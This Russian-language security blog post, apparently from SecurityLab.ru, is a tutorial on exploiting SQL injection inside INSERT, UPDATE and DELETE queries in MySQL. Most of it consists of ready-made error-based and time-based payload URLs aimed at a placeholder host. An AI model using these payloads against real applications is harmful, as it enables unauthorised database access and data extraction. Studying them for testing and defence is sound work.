Эксплуатация SQL Injection в Insert, Update, Delete, etc
К данной публикации меня сподвигла появившееся на днях тема в форуме sla.ckers.org ( SQL Injection, MySql, INSERT INTO ). SQL-инъекцию довольно часто можно встретить в SELECT-запросе. Но ровно также уязвимый параметр к проведению инъекции может попасть и в конструкции Insert, Update, Delete, Replace и пр. Рассмотрим, каким же образом в подобных случаях можно получить максимум пользы с позиций атакующего.
Стоит сразу же отметить, что в серьезных СУБД, таких как Oracle, Microsoft SQL Server и им подобным существует возможность разделения запросов через точку с запятой. Поэтому для таких баз данных можно, например, выполнять insert, когда инъекция попадает в select-запрос и наоборот. name='more'> Рассмотрим следующие уязвимые SQL-запросы на примере insert и update, где sqli это уязвимый параметр к проведению атаки "Внедрение операторов SQL":
/*(1)*/ insert into test (id,a) values (1,'sqli');/*(2)*/ insert into test (id,a) values (sqli,'test');/*(3)*/ insert into test set id=sqli;/*(4)*/ insert into test set a='sqli';/*(5)*/ update test set id=sqli where...;/*(6)*/ update test set a='sqli' where...;
Метод error-based (MySQL):
(1) http://serv/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
(2) http://serv/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--
(3) http://serv/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
(4) http://serv/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
(5) http://serv/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
(6) http://serv/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Аналогичным образом атака может быть реализована в запросах delete, replace и пр. Как вариант, может использоваться конструкция "order by". Например:
delete from test where id = sqli;
http://serv/?sqli=1 order by (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Метод time-based (MySQL):
(1) http://serv/?sqli=1'),((if(ascii(mid('pass',1,1))=112,(sleep(10)),1)),'')--
(2) http://serv/?sqli=1,(if(ascii(mid('pass',1,1))=112,(sleep(10)),1)))--
(3) http://serv/?sqli=1,a=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))
(4) http://serv/?sqli=1',id=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))--
(5) http://serv/?sqli=1 order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--
(6) http://serv/?sqli=1' order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.